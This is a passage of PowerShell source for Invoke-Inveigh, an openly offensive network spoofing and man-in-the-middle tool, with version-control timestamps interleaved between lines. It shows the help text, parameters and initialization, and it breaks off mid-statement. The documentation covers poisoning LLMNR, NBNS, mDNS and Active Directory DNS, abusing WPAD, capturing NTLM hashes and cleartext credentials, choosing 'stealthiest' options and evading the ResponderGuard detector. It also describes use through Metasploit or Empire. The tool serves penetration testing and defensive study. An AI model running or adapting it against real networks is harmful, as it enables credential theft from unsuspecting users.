2018-07-23 08:55:15 +00:00
function Invoke-Inveigh
{
<#
. SYNOPSIS
2019-01-21 09:49:07 +00:00
This function is a Windows PowerShell ADIDNS / LLMNR / NBNS / mDNS spoofer .
2018-07-23 08:55:15 +00:00
. DESCRIPTION
2019-01-21 09:49:07 +00:00
This function is a Windows PowerShell ADIDNS / LLMNR / NBNS / mDNS spoofer / man-in -the -middle tool with
challenge / response capture over HTTP / HTTPS / Proxy / SMB .
2018-07-23 08:55:15 +00:00
2019-01-21 09:49:07 +00:00
. PARAMETER ADIDNS
Default = Disabled : ( Combo / Wildcard ) Enable an ADIDNS spoofing attack . Combo looks at LLMNR / NBNS requests and adds
a record to DNS if the same request is received from multiple systems . Wildcard injects a wildcard record .
. PARAMETER ADIDNSCleanup
Default = Enabled : Enable / Disable removing added ADIDNS records upon shutdown .
. PARAMETER ADIDNSCredential
PSCredential object that will be used with ADIDNS spoofing .
. PARAMETER ADIDNSDomain
The targeted domain in DNS format .
. PARAMETER ADIDNSDomainController
Domain controller to target . This parameter is mandatory on a non-domain attached system .
. PARAMETER ADIDNSForest
The targeted forest in DNS format .
. PARAMETER ADIDNSHostsIgnore
Comma seperated list of hosts that will be ignored with ADIDNS spoofing .
. PARAMETER ADIPartition
Default = DomainDNSZones : ( DomainDNSZones , ForestDNSZone , System ) The AD partition name where the zone is stored .
. PARAMETER ADIDNSThreshold
Default = 4 : The threshold used to determine when ADIDNS records are injected for the combo attack . Inveigh will
track identical LLMNR and NBNS requests received from multiple systems . DNS records will be injected once the
system count for identical LLMNR and NBNS requests exceeds the threshold .
. PARAMETER ADIDNSTTL
Default = 600 Seconds : DNS TTL in seconds for added A records .
. PARAMETER ADIDNSZone
The ADIDNS zone .
2018-07-23 08:55:15 +00:00
. PARAMETER Challenge
Default = Random : 16 character hex NTLM challenge for use with the HTTP listener . If left blank , a random
challenge will be generated for each request .
. PARAMETER ConsoleOutput
Default = Disabled : ( Low / Medium / Y / N ) Enable / Disable real time console output . If using this option through a
shell , test to ensure that it doesn ' t hang the shell . Medium and Low can be used to reduce output .
. PARAMETER ConsoleQueueLimit
Default = Unlimited : Maximum number of queued up console log entries when not using the real time console .
. PARAMETER ConsoleStatus
( Integer ) Interval in minutes for displaying all unique captured hashes and credentials . This is useful for
displaying full capture lists when running through a shell that does not have access to the support function s .
. PARAMETER ConsoleUnique
Default = Enabled : ( Y / N ) Enable / Disable displaying challenge / response hashes for only unique IP , domain / hostname ,
and username combinations when real time console output is enabled .
. PARAMETER ElevatedPrivilege
Default = Auto : ( Auto / Y / N ) Set the privilege mode . Auto will determine if Inveigh is running with
elevated privilege . If so , options that require elevated privilege can be used .
2019-01-21 09:49:07 +00:00
. PARAMETER EvadeRG
Defauly = Enabled : ( Y / N ) Enable / Disable detecting and ignoring LLMNR / NBNS requests sent directly to an IP address
rather than a broadcast / multicast address . This technique is used by ResponderGuard to discover spoofers across
subnets .
2018-07-23 08:55:15 +00:00
. PARAMETER FileOutput
Default = Disabled : ( Y / N ) Enable / Disable real time file output .
. PARAMETER FileOutputDirectory
Default = Working Directory : Valid path to an output directory for log and capture files . FileOutput must
also be enabled .
. PARAMETER FileUnique
Default = Enabled : ( Y / N ) Enable / Disable outputting challenge / response hashes for only unique IP , domain / hostname ,
and username combinations when real time file output is enabled .
. PARAMETER HTTP
Default = Enabled : ( Y / N ) Enable / Disable HTTP challenge / response capture .
. PARAMETER HTTPIP
Default = Any : IP address for the HTTP / HTTPS listener .
. PARAMETER HTTPPort
Default = 80 : TCP port for the HTTP listener .
. PARAMETER HTTPAuth
Default = NTLM : ( Anonymous / Basic / NTLM / NTLMNoESS ) HTTP / HTTPS listener authentication type . This setting does not
apply to wpad . dat requests . NTLMNoESS turns off the 'Extended Session Security' flag during negotiation .
. PARAMETER HTTPBasicRealm
Realm name for Basic authentication . This parameter applies to both HTTPAuth and WPADAuth .
. PARAMETER HTTPContentType
Default = text / html : Content type for HTTP / HTTPS / Proxy responses . Does not apply to EXEs and wpad . dat . Set to
" application/hta " for HTA files or when using HTA code with HTTPResponse .
. PARAMETER HTTPDir
Full directory path to enable hosting of basic content through the HTTP / HTTPS listener .
. PARAMETER HTTPDefaultFile
Filename within the HTTPDir to serve as the default HTTP / HTTPS / Proxy response file . This file will not be used for
wpad . dat requests .
. PARAMETER HTTPDefaultEXE
EXE filename within the HTTPDir to serve as the default HTTP / HTTPS / Proxy response for EXE requests .
. PARAMETER HTTPResponse
Content to serve as the default HTTP / HTTPS / Proxy response . This response will not be used for wpad . dat requests .
This parameter will not be used if HTTPDir is set . Use PowerShell character escapes and newlines where necessary .
. PARAMETER HTTPS
Default = Disabled : ( Y / N ) Enable / Disable HTTPS challenge / response capture . Warning , a cert will be installed in
the local store . If the script does not exit gracefully , manually remove the certificate . This feature requires
local administrator access .
. PARAMETER HTTPSPort
Default = 443 : TCP port for the HTTPS listener .
. PARAMETER HTTPSCertIssuer
Default = Inveigh : The issuer field for the cert that will be installed for HTTPS .
. PARAMETER HTTPSCertSubject
Default = localhost : The subject field for the cert that will be installed for HTTPS .
. PARAMETER HTTPSForceCertDelete
Default = Disabled : ( Y / N ) Force deletion of an existing certificate that matches HTTPSCertIssuer and
HTTPSCertSubject .
. PARAMETER Inspect
( Switch ) Inspect LLMNR / mDNS / NBNS traffic only . With elevated privilege , SMB must be disabled with -smb if you do
not want NTLMv1 / NTLMv2 captures over SMB . Without elevated privilege , the desired inspect listeners must be
enabled .
. PARAMETER IP
2019-01-21 09:49:07 +00:00
Local IP address for listening and packet sniffing . This IP address will also be used for LLMNR / NBNS / mDNS / DNS spoofing
2018-07-23 08:55:15 +00:00
if the SpooferIP parameter is not set .
. PARAMETER LogOutput
Default = Enabled : ( Y / N ) Enable / Disable storing log messages in memory .
. PARAMETER LLMNR
Default = Enabled : ( Y / N ) Enable / Disable LLMNR spoofing .
. PARAMETER LLMNRTTL
Default = 30 Seconds : LLMNR TTL in seconds for the response packet .
. PARAMETER MachineAccounts
Default = Disabled : ( Y / N ) Enable / Disable showing NTLM challenge / response captures from machine accounts .
. PARAMETER mDNS
Default = Disabled : ( Y / N ) Enable / Disable mDNS spoofing .
. PARAMETER mDNSTTL
Default = 120 Seconds : mDNS TTL in seconds for the response packet .
. PARAMETER mDNSTypes
Default = QU : Comma separated list of mDNS types to spoof . Note that QM will send the response to 224.0 . 0 . 251 .
Types include QU = Query Unicast , QM = Query Multicast
. PARAMETER NBNS
Default = Disabled : ( Y / N ) Enable / Disable NBNS spoofing .
. PARAMETER NBNSBruteForce
Default = Disabled : ( Y / N ) Enable / Disable NBNS brute force spoofer .
. PARAMETER NBNSBruteForceHost
Default = WPAD : Hostname for the NBNS Brute Force spoofer .
. PARAMETER NBNSBruteForcePause
Default = Disabled : ( Integer ) Number of seconds the NBNS brute force spoofer will stop spoofing after an incoming
HTTP request is received .
. PARAMETER NBNSBruteForceTarget
2019-01-21 09:49:07 +00:00
IP address to target for NBNS brute force spoofing .
2018-07-23 08:55:15 +00:00
. PARAMETER NBNSTTL
Default = 165 Seconds : NBNS TTL in seconds for the response packet .
. PARAMETER NBNSTypes
Default = 00 , 20 : Comma separated list of NBNS types to spoof .
Types include 00 = Workstation Service , 03 = Messenger Service , 20 = Server Service , 1B = Domain Name
. PARAMETER OutputStreamOnly
Default = Disabled : ( Y / N ) Enable / Disable forcing all output to the standard output stream . This can be helpful if
2019-01-21 09:49:07 +00:00
running Inveigh through a shell that does not return other output streams . Note that you will not see the various
2018-07-23 08:55:15 +00:00
yellow warning messages if enabled .
. PARAMETER Proxy
Default = Disabled : ( Y / N ) Enable / Disable proxy listener authentication captures .
. PARAMETER ProxyAuth
Default = NTLM : ( Basic / NTLM / NTLMNoESS ) Proxy listener authentication type .
. PARAMETER ProxyIP
Default = Any : IP address for the proxy listener .
. PARAMETER ProxyPort
Default = 8492 : TCP port for the proxy listener .
. PARAMETER ProxyIgnore
Default = Firefox : Comma separated list of keywords to use for filter ing browser user agents . Matching browsers
will not be sent the wpad . dat file used for capturing proxy authentications . Firefox does not work correctly
with the proxy server failover setup . Firefox will be left unable to connect to any sites until the proxy is
cleared . Remove " Firefox " from this list to attack Firefox . If attacking Firefox , consider setting
-SpooferRepeat N to limit attacks against a single target so that victims can recover Firefox connectivity by
closing and reopening .
2019-01-21 09:49:07 +00:00
. PARAMETER RunCount
Default = Unlimited : ( Integer ) Number of NTLMv1 / NTLMv2 / cleartext captures to perform before auto-exiting .
. PARAMETER RunTime
( Integer ) Run time duration in minutes .
2018-07-23 08:55:15 +00:00
. PARAMETER ShowHelp
Default = Enabled : ( Y / N ) Enable / Disable the help messages at startup .
. PARAMETER SMB
Default = Enabled : ( Y / N ) Enable / Disable SMB challenge / response capture . Warning , LLMNR / NBNS spoofing can still
direct targets to the host system ' s SMB server . Block TCP ports 445 / 139 or kill the SMB services if you need to
prevent login requests from being processed by the Inveigh host .
. PARAMETER SpooferHostsIgnore
Default = All : Comma separated list of requested hostnames to ignore when spoofing with LLMNR / mDNS / NBNS .
. PARAMETER SpooferHostsReply
Default = All : Comma separated list of requested hostnames to respond to when spoofing with LLMNR / mDNS / NBNS .
. PARAMETER SpooferIP
2019-01-21 09:49:07 +00:00
IP address for ADIDNS / LLMNR / mDNS / NBNS spoofing . This parameter is only necessary when redirecting victims to a system
2018-07-23 08:55:15 +00:00
other than the Inveigh host .
. PARAMETER SpooferIPsIgnore
Default = All : Comma separated list of source IP addresses to ignore when spoofing with LLMNR / mDNS / NBNS .
. PARAMETER SpooferIPsReply
Default = All : Comma separated list of source IP addresses to respond to when spoofing with LLMNR / mDNS / NBNS .
. PARAMETER SpooferLearning
Default = Disabled : ( Y / N ) Enable / Disable LLMNR / NBNS valid host learning . If enabled , Inveigh will send out
LLMNR / NBNS requests for any received LLMNR / NBNS requests . If a response is received , Inveigh will add the
hostname to a spoofing blacklist .
. PARAMETER SpooferLearningDelay
( Integer ) Time in minutes that Inveigh will delay spoofing while valid hosts are being blacklisted through
SpooferLearning .
. PARAMETER SpooferLearningInterval
Default = 30 Minutes : ( Integer ) Time in minutes that Inveigh wait before sending out an LLMNR / NBNS request for a
hostname that has already been checked if SpooferLearning is enabled .
2019-01-21 09:49:07 +00:00
. PARAMETER SpooferNonprintable
Default = Enabled : ( Y / N ) Enable / Disable answering LLMNR / NBNS requests for non-printable host names .
2018-07-23 08:55:15 +00:00
. PARAMETER SpooferRepeat
Default = Enabled : ( Y / N ) Enable / Disable repeated LLMNR / NBNS spoofs to a victim system after one user
challenge / response has been captured .
2019-01-21 09:49:07 +00:00
. PARAMETER SpooferThresholdHost
( Integer ) Number of matching LLMNR / NBNS name requests to receive before Inveigh will begin responding to those
requests .
. PARAMETER SpooferThresholdNetwork
( Integer ) Number of matching LLMNR / NBNS requests to receive from different systems before Inveigh will begin
responding to those requests .
2018-07-23 08:55:15 +00:00
. PARAMETER StartupChecks
Default = Enabled : ( Y / N ) Enable / Disable checks for in use ports and running services on startup .
. PARAMETER StatusOutput
Default = Enabled : ( Y / N ) Enable / Disable startup and shutdown messages .
. PARAMETER Tool
Default = 0 : ( 0 / 1 / 2 ) Enable / Disable features for better operation through external tools such as Meterpreter ' s
PowerShell extension , Metasploit ' s Interactive PowerShell Sessions payloads and Empire .
0 = None , 1 = Metasploit / Meterpreter , 2 = Empire
. PARAMETER WPADAuth
Default = NTLM : ( Anonymous / Basic / NTLM / NTLMNoESS ) HTTP / HTTPS listener authentication type for wpad . dat requests .
Setting to Anonymous can prevent browser login prompts . NTLMNoESS turns off the 'Extended Session Security' flag
during negotiation .
. PARAMETER WPADAuthIgnore
Default = Firefox : Comma separated list of keywords to use for filter ing browser user agents . Matching browsers
will be skipped for NTLM authentication . This can be used to filter out browsers like Firefox that display login
popups for authenticated wpad . dat requests such as Firefox .
. PARAMETER WPADDirectFile
Default = Enabled : ( Y / N ) Enable / Disable serving a proxyless , all direct , wpad . dat file for wpad . dat requests .
Enabling this setting can reduce the amount of redundant wpad . dat requests . This parameter is ignored when
using WPADIP , WPADPort , or WPADResponse .
. PARAMETER WPADDirectHosts
Comma separated list of hosts to list as direct in the wpad . dat file . Listed hosts will not be routed through the
defined proxy .
. PARAMETER WPADIP
Proxy server IP to be included in a basic wpad . dat response for WPAD enabled browsers . This parameter must be used
with WPADPort .
. PARAMETER WPADPort
Proxy server port to be included in a basic wpad . dat response for WPAD enabled browsers . This parameter must be
used with WPADIP .
. PARAMETER WPADResponse
wpad . dat file contents to serve as the wpad . dat response . This parameter will not be used if WPADIP and WPADPort
are set . Use PowerShell character escapes where necessary .
. EXAMPLE
Import-Module . \ Inveigh . psd1 ; Invoke-Inveigh
Import full module and execute with all default settings .
. EXAMPLE
. . / Inveigh . ps1 ; Invoke-Inveigh -IP 192.168 . 1 . 10
Dot source load and execute specifying a specific local listening / spoofing IP .
. EXAMPLE
Invoke-Inveigh -IP 192.168 . 1 . 10 -HTTP N
Execute specifying a specific local listening / spoofing IP and disabling HTTP challenge / response .
. EXAMPLE
Invoke-Inveigh -SpooferRepeat N -WPADAuth Anonymous -SpooferHostsReply host1 , host2 -SpooferIPsReply 192.168 . 2 . 75 , 192.168 . 2 . 76
Execute with the stealthiest options .
. EXAMPLE
Invoke-Inveigh -Inspect
Execute in order to only inpect LLMNR / mDNS / NBNS traffic .
. EXAMPLE
Invoke-Inveigh -IP 192.168 . 1 . 10 -SpooferIP 192.168 . 2 . 50 -HTTP N
Execute specifying a specific local listening IP and a LLMNR / NBNS spoofing IP on another subnet . This may be
useful for sending traffic to a controlled Linux system on another subnet .
. EXAMPLE
Invoke-Inveigh -HTTPResponse " <html><head><meta http-equiv='refresh' content='0; url=https://duckduckgo.com/'></head></html> "
Execute specifying an HTTP redirect response .
. LINK
https : / / github . com / Kevin-Robertson / Inveigh
#>
2019-01-21 09:49:07 +00:00
#region begin parameters
2018-07-23 08:55:15 +00:00
# Parameter default values can be modified in this section:
[ CmdletBinding ( ) ]
param
(
2019-01-21 09:49:07 +00:00
[ parameter ( Mandatory = $false ) ] [ Array ] $ADIDNSHostsIgnore = ( " isatap " , " wpad " ) ,
2018-07-23 08:55:15 +00:00
[ parameter ( Mandatory = $false ) ] [ Array ] $ProxyIgnore = " Firefox " ,
[ parameter ( Mandatory = $false ) ] [ Array ] $SpooferHostsReply = " " ,
[ parameter ( Mandatory = $false ) ] [ Array ] $SpooferHostsIgnore = " " ,
[ parameter ( Mandatory = $false ) ] [ Array ] $SpooferIPsReply = " " ,
[ parameter ( Mandatory = $false ) ] [ Array ] $SpooferIPsIgnore = " " ,
[ parameter ( Mandatory = $false ) ] [ Array ] $WPADDirectHosts = " " ,
[ parameter ( Mandatory = $false ) ] [ Array ] $WPADAuthIgnore = " Firefox " ,
[ parameter ( Mandatory = $false ) ] [ Int ] $ConsoleQueueLimit = " -1 " ,
[ parameter ( Mandatory = $false ) ] [ Int ] $ConsoleStatus = " " ,
2019-01-21 09:49:07 +00:00
[ parameter ( Mandatory = $false ) ] [ Int ] $ADIDNSThreshold = " 4 " ,
[ parameter ( Mandatory = $false ) ] [ Int ] $ADIDNSTTL = " 600 " ,
2018-07-23 08:55:15 +00:00
[ parameter ( Mandatory = $false ) ] [ Int ] $HTTPPort = " 80 " ,
[ parameter ( Mandatory = $false ) ] [ Int ] $HTTPSPort = " 443 " ,
[ parameter ( Mandatory = $false ) ] [ Int ] $LLMNRTTL = " 30 " ,
[ parameter ( Mandatory = $false ) ] [ Int ] $mDNSTTL = " 120 " ,
[ parameter ( Mandatory = $false ) ] [ Int ] $NBNSTTL = " 165 " ,
[ parameter ( Mandatory = $false ) ] [ Int ] $NBNSBruteForcePause = " " ,
[ parameter ( Mandatory = $false ) ] [ Int ] $ProxyPort = " 8492 " ,
[ parameter ( Mandatory = $false ) ] [ Int ] $RunCount = " " ,
[ parameter ( Mandatory = $false ) ] [ Int ] $RunTime = " " ,
[ parameter ( Mandatory = $false ) ] [ Int ] $WPADPort = " " ,
[ parameter ( Mandatory = $false ) ] [ Int ] $SpooferLearningDelay = " " ,
[ parameter ( Mandatory = $false ) ] [ Int ] $SpooferLearningInterval = " 30 " ,
2019-01-21 09:49:07 +00:00
[ parameter ( Mandatory = $false ) ] [ Int ] $SpooferThresholdHost = " 0 " ,
[ parameter ( Mandatory = $false ) ] [ Int ] $SpooferThresholdNetwork = " 0 " ,
[ parameter ( Mandatory = $false ) ] [ String ] $ADIDNSDomain = " " ,
[ parameter ( Mandatory = $false ) ] [ String ] $ADIDNSDomainController = " " ,
[ parameter ( Mandatory = $false ) ] [ String ] $ADIDNSForest = " " ,
[ parameter ( Mandatory = $false ) ] [ String ] $ADIDNSZone = " " ,
2018-07-23 08:55:15 +00:00
[ parameter ( Mandatory = $false ) ] [ String ] $HTTPBasicRealm = " IIS " ,
[ parameter ( Mandatory = $false ) ] [ String ] $HTTPContentType = " text/html " ,
[ parameter ( Mandatory = $false ) ] [ String ] $HTTPDefaultFile = " " ,
[ parameter ( Mandatory = $false ) ] [ String ] $HTTPDefaultEXE = " " ,
[ parameter ( Mandatory = $false ) ] [ String ] $HTTPResponse = " " ,
[ parameter ( Mandatory = $false ) ] [ String ] $HTTPSCertIssuer = " Inveigh " ,
[ parameter ( Mandatory = $false ) ] [ String ] $HTTPSCertSubject = " localhost " ,
[ parameter ( Mandatory = $false ) ] [ String ] $NBNSBruteForceHost = " WPAD " ,
[ parameter ( Mandatory = $false ) ] [ String ] $WPADResponse = " " ,
[ parameter ( Mandatory = $false ) ] [ ValidatePattern ( '^[A-Fa-f0-9]{16}$' ) ] [ String ] $Challenge = " " ,
[ parameter ( Mandatory = $false ) ] [ ValidateSet ( " Y " , " N " ) ] [ String ] $ConsoleUnique = " Y " ,
2019-01-21 09:49:07 +00:00
[ parameter ( Mandatory = $false ) ] [ ValidateSet ( " Combo " , " Wildcard " ) ] [ String ] $ADIDNS ,
[ parameter ( Mandatory = $false ) ] [ ValidateSet ( " DomainDNSZones " , " ForestDNSZones " , " System " ) ] [ String ] $ADIDNSPartition = " DomainDNSZones " ,
[ parameter ( Mandatory = $false ) ] [ ValidateSet ( " Y " , " N " ) ] [ String ] $ADIDNSCleanup = " Y " ,
[ parameter ( Mandatory = $false ) ] [ ValidateSet ( " Y " , " N " ) ] [ String ] $EvadeRG = " Y " ,
2018-07-23 08:55:15 +00:00
[ parameter ( Mandatory = $false ) ] [ ValidateSet ( " Y " , " N " ) ] [ String ] $FileOutput = " N " ,
[ parameter ( Mandatory = $false ) ] [ ValidateSet ( " Y " , " N " ) ] [ String ] $FileUnique = " Y " ,
[ parameter ( Mandatory = $false ) ] [ ValidateSet ( " Y " , " N " ) ] [ String ] $HTTP = " Y " ,
[ parameter ( Mandatory = $false ) ] [ ValidateSet ( " Y " , " N " ) ] [ String ] $HTTPS = " N " ,
[ parameter ( Mandatory = $false ) ] [ ValidateSet ( " Y " , " N " ) ] [ String ] $HTTPSForceCertDelete = " N " ,
[ parameter ( Mandatory = $false ) ] [ ValidateSet ( " Y " , " N " ) ] [ String ] $LLMNR = " Y " ,
[ parameter ( Mandatory = $false ) ] [ ValidateSet ( " Y " , " N " ) ] [ String ] $LogOutput = " Y " ,
[ parameter ( Mandatory = $false ) ] [ ValidateSet ( " Y " , " N " ) ] [ String ] $MachineAccounts = " N " ,
[ parameter ( Mandatory = $false ) ] [ ValidateSet ( " Y " , " N " ) ] [ String ] $mDNS = " N " ,
2019-01-21 09:49:07 +00:00
[ parameter ( Mandatory = $false ) ] [ ValidateSet ( " Y " , " N " ) ] [ String ] $NBNS = " " ,
2018-07-23 08:55:15 +00:00
[ parameter ( Mandatory = $false ) ] [ ValidateSet ( " Y " , " N " ) ] [ String ] $NBNSBruteForce = " N " ,
[ parameter ( Mandatory = $false ) ] [ ValidateSet ( " Y " , " N " ) ] [ String ] $OutputStreamOnly = " N " ,
[ parameter ( Mandatory = $false ) ] [ ValidateSet ( " Y " , " N " ) ] [ String ] $Proxy = " N " ,
[ parameter ( Mandatory = $false ) ] [ ValidateSet ( " Y " , " N " ) ] [ String ] $ShowHelp = " Y " ,
[ parameter ( Mandatory = $false ) ] [ ValidateSet ( " Y " , " N " ) ] [ String ] $SMB = " Y " ,
[ parameter ( Mandatory = $false ) ] [ ValidateSet ( " Y " , " N " ) ] [ String ] $SpooferLearning = " N " ,
2019-01-21 09:49:07 +00:00
[ parameter ( Mandatory = $false ) ] [ ValidateSet ( " Y " , " N " ) ] [ String ] $SpooferNonprintable = " Y " ,
2018-07-23 08:55:15 +00:00
[ parameter ( Mandatory = $false ) ] [ ValidateSet ( " Y " , " N " ) ] [ String ] $SpooferRepeat = " Y " ,
[ parameter ( Mandatory = $false ) ] [ ValidateSet ( " Y " , " N " ) ] [ String ] $StatusOutput = " Y " ,
[ parameter ( Mandatory = $false ) ] [ ValidateSet ( " Y " , " N " ) ] [ String ] $WPADDirectFile = " Y " ,
[ parameter ( Mandatory = $false ) ] [ ValidateSet ( " Y " , " N " ) ] [ String ] $StartupChecks = " Y " ,
[ parameter ( Mandatory = $false ) ] [ ValidateSet ( " Y " , " N " , " Low " , " Medium " ) ] [ String ] $ConsoleOutput = " N " ,
[ parameter ( Mandatory = $false ) ] [ ValidateSet ( " Auto " , " Y " , " N " ) ] [ String ] $ElevatedPrivilege = " Auto " ,
[ parameter ( Mandatory = $false ) ] [ ValidateSet ( " Anonymous " , " Basic " , " NTLM " , " NTLMNoESS " ) ] [ String ] $HTTPAuth = " NTLM " ,
[ parameter ( Mandatory = $false ) ] [ ValidateSet ( " QU " , " QM " ) ] [ Array ] $mDNSTypes = @ ( " QU " ) ,
[ parameter ( Mandatory = $false ) ] [ ValidateSet ( " 00 " , " 03 " , " 20 " , " 1B " , " 1C " , " 1D " , " 1E " ) ] [ Array ] $NBNSTypes = @ ( " 00 " , " 20 " ) ,
[ parameter ( Mandatory = $false ) ] [ ValidateSet ( " Basic " , " NTLM " , " NTLMNoESS " ) ] [ String ] $ProxyAuth = " NTLM " ,
[ parameter ( Mandatory = $false ) ] [ ValidateSet ( " 0 " , " 1 " , " 2 " ) ] [ String ] $Tool = " 0 " ,
[ parameter ( Mandatory = $false ) ] [ ValidateSet ( " Anonymous " , " Basic " , " NTLM " , " NTLMNoESS " ) ] [ String ] $WPADAuth = " NTLM " ,
[ parameter ( Mandatory = $false ) ] [ ValidateScript ( { Test-Path $_ } ) ] [ String ] $FileOutputDirectory = " " ,
[ parameter ( Mandatory = $false ) ] [ ValidateScript ( { Test-Path $_ } ) ] [ String ] $HTTPDir = " " ,
[ parameter ( Mandatory = $false ) ] [ Switch ] $Inspect ,
[ parameter ( Mandatory = $false ) ] [ ValidateScript ( { $_ -match [ System.Net.IPAddress ] $_ } ) ] [ String ] $HTTPIP = " 0.0.0.0 " ,
[ parameter ( Mandatory = $false ) ] [ ValidateScript ( { $_ -match [ System.Net.IPAddress ] $_ } ) ] [ String ] $IP = " " ,
[ parameter ( Mandatory = $false ) ] [ ValidateScript ( { $_ -match [ System.Net.IPAddress ] $_ } ) ] [ String ] $NBNSBruteForceTarget = " " ,
[ parameter ( Mandatory = $false ) ] [ ValidateScript ( { $_ -match [ System.Net.IPAddress ] $_ } ) ] [ String ] $ProxyIP = " 0.0.0.0 " ,
[ parameter ( Mandatory = $false ) ] [ ValidateScript ( { $_ -match [ System.Net.IPAddress ] $_ } ) ] [ String ] $SpooferIP = " " ,
[ parameter ( Mandatory = $false ) ] [ ValidateScript ( { $_ -match [ System.Net.IPAddress ] $_ } ) ] [ String ] $WPADIP = " " ,
2019-01-21 09:49:07 +00:00
[ parameter ( Mandatory = $false ) ] [ System.Management.Automation.PSCredential ] $ADIDNSCredential ,
2018-07-23 08:55:15 +00:00
[ parameter ( ValueFromRemainingArguments = $true ) ] $invalid_parameter
)
2019-01-21 09:49:07 +00:00
#endregion
#region begin initialization
if ( $invalid_parameter )
2018-07-23 08:55:15 +00:00
{
2019-01-21 09:49:07 +00:00
Write-Output " [-] $( $invalid_parameter ) is not a valid parameter "
2018-07-23 08:55:15 +00:00
throw
}
2019-01-21 09:49:07 +00:00
$inveigh_version = " 1.4 "
2018-07-23 08:55:15 +00:00
if ( ! $IP )
{
2019-01-21 09:49:07 +00:00
try
{
$IP = ( Test-Connection 127.0 . 0 . 1 -count 1 | Select-Object -ExpandProperty Ipv4Address )
}
catch
{
Write-Output " [-] Error finding local IP, specify manually with -IP "
throw
}
2018-07-23 08:55:15 +00:00
}
if ( ! $SpooferIP )
{
2019-01-21 09:49:07 +00:00
$SpooferIP = $IP
}
if ( $ADIDNS )
{
if ( ! $ADIDNSDomainController -or ! $ADIDNSDomain -or $ADIDNSForest -or ! $ADIDNSZone )
{
try
{
$current_domain = [ System.DirectoryServices.ActiveDirectory.Domain ] :: GetCurrentDomain ( )
}
catch
{
Write-Output " [-] $( $_ . Exception . Message ) "
throw
}
if ( ! $ADIDNSDomainController )
{
$ADIDNSDomainController = $current_domain . PdcRoleOwner . Name
}
if ( ! $ADIDNSDomain )
{
$ADIDNSDomain = $current_domain . Name
}
if ( ! $ADIDNSForest )
{
$ADIDNSForest = $current_domain . Forest
}
if ( ! $ADIDNSZone )
{
$ADIDNSZone = $current_domain . Name
}
}
2018-07-23 08:55:15 +00:00
}
if ( $HTTPDefaultFile -or $HTTPDefaultEXE )
{
if ( ! $HTTPDir )
{
2019-01-21 09:49:07 +00:00
Write-Output " [-] You must specify an -HTTPDir when using either -HTTPDefaultFile or -HTTPDefaultEXE "
2018-07-23 08:55:15 +00:00
throw
}
}
if ( $WPADIP -or $WPADPort )
{
if ( ! $WPADIP )
{
2019-01-21 09:49:07 +00:00
Write-Output " [-] You must specify a -WPADPort to go with -WPADIP "
2018-07-23 08:55:15 +00:00
throw
}
if ( ! $WPADPort )
{
2019-01-21 09:49:07 +00:00
Write-Output " [-] You must specify a -WPADIP to go with -WPADPort "
2018-07-23 08:55:15 +00:00
throw
}
}
if ( $NBNSBruteForce -eq 'Y' -and ! $NBNSBruteForceTarget )
{
2019-01-21 09:49:07 +00:00
Write-Output " [-] You must specify a -NBNSBruteForceTarget if enabling -NBNSBruteForce "
2018-07-23 08:55:15 +00:00
throw
}
if ( ! $FileOutputdirectory )
{
$output_directory = $PWD . Path
}
else
{
$output_directory = $FileOutputdirectory
}
if ( ! $inveigh )
{
$global:inveigh = [ HashTable ] :: Synchronized ( @ { } )
$inveigh . cleartext_list = New-Object System . Collections . ArrayList
2019-01-21 09:49:07 +00:00
$inveigh . enumerate = New-Object System . Collections . ArrayList
2018-07-23 08:55:15 +00:00
$inveigh . IP_capture_list = New-Object System . Collections . ArrayList
$inveigh . log = New-Object System . Collections . ArrayList
$inveigh . NTLMv1_list = New-Object System . Collections . ArrayList
$inveigh . NTLMv1_username_list = New-Object System . Collections . ArrayList
$inveigh . NTLMv2_list = New-Object System . Collections . ArrayList
$inveigh . NTLMv2_username_list = New-Object System . Collections . ArrayList
$inveigh . POST_request_list = New-Object System . Collections . ArrayList
$inveigh . valid_host_list = New-Object System . Collections . ArrayList
2019-01-21 09:49:07 +00:00
$inveigh . ADIDNS_table = [ HashTable ] :: Synchronized ( @ { } )
$inveigh . relay_privilege_table = [ HashTable ] :: Synchronized ( @ { } )
$inveigh . relay_failed_login_table = [ HashTable ] :: Synchronized ( @ { } )
$inveigh . relay_history_table = [ HashTable ] :: Synchronized ( @ { } )
$inveigh . request_table = [ HashTable ] :: Synchronized ( @ { } )
$inveigh . session_socket_table = [ HashTable ] :: Synchronized ( @ { } )
$inveigh . session_table = [ HashTable ] :: Synchronized ( @ { } )
$inveigh . session_message_ID_table = [ HashTable ] :: Synchronized ( @ { } )
$inveigh . session_lock_table = [ HashTable ] :: Synchronized ( @ { } )
$inveigh . SMB_session_table = [ HashTable ] :: Synchronized ( @ { } )
$inveigh . domain_mapping_table = [ HashTable ] :: Synchronized ( @ { } )
$inveigh . group_table = [ HashTable ] :: Synchronized ( @ { } )
$inveigh . session_count = 0
$inveigh . session = @ ( )
2018-07-23 08:55:15 +00:00
}
if ( $inveigh . running )
{
2019-01-21 09:49:07 +00:00
Write-Output " [-] Inveigh is already running "
2018-07-23 08:55:15 +00:00
throw
}
2019-01-21 09:49:07 +00:00
$inveigh . stop = $false
2018-07-23 08:55:15 +00:00
if ( ! $inveigh . relay_running )
{
$inveigh . cleartext_file_queue = New-Object System . Collections . ArrayList
$inveigh . console_queue = New-Object System . Collections . ArrayList
$inveigh . HTTP_challenge_queue = New-Object System . Collections . ArrayList
$inveigh . log_file_queue = New-Object System . Collections . ArrayList
$inveigh . NTLMv1_file_queue = New-Object System . Collections . ArrayList
$inveigh . NTLMv2_file_queue = New-Object System . Collections . ArrayList
2019-01-21 09:49:07 +00:00
$inveigh . output_queue = New-Object System . Collections . ArrayList
2018-07-23 08:55:15 +00:00
$inveigh . POST_request_file_queue = New-Object System . Collections . ArrayList
$inveigh . console_input = $true
$inveigh . console_output = $false
$inveigh . file_output = $false
$inveigh . HTTPS_existing_certificate = $false
$inveigh . HTTPS_force_certificate_delete = $false
$inveigh . log_output = $true
$inveigh . cleartext_out_file = $output_directory + " \Inveigh-Cleartext.txt "
$inveigh . log_out_file = $output_directory + " \Inveigh-Log.txt "
$inveigh . NTLMv1_out_file = $output_directory + " \Inveigh-NTLMv1.txt "
$inveigh . NTLMv2_out_file = $output_directory + " \Inveigh-NTLMv2.txt "
$inveigh . POST_request_out_file = $output_directory + " \Inveigh-FormInput.txt "
}
if ( $ElevatedPrivilege -eq 'Auto' )
{
$elevated_privilege = [ Bool ] ( ( [ System.Security.Principal.WindowsIdentity ] :: GetCurrent ( ) ) . groups -match " S-1-5-32-544 " )
}
else
{
if ( $ElevatedPrivilege -eq 'Y' )
{
2019-01-21 09:49:07 +00:00
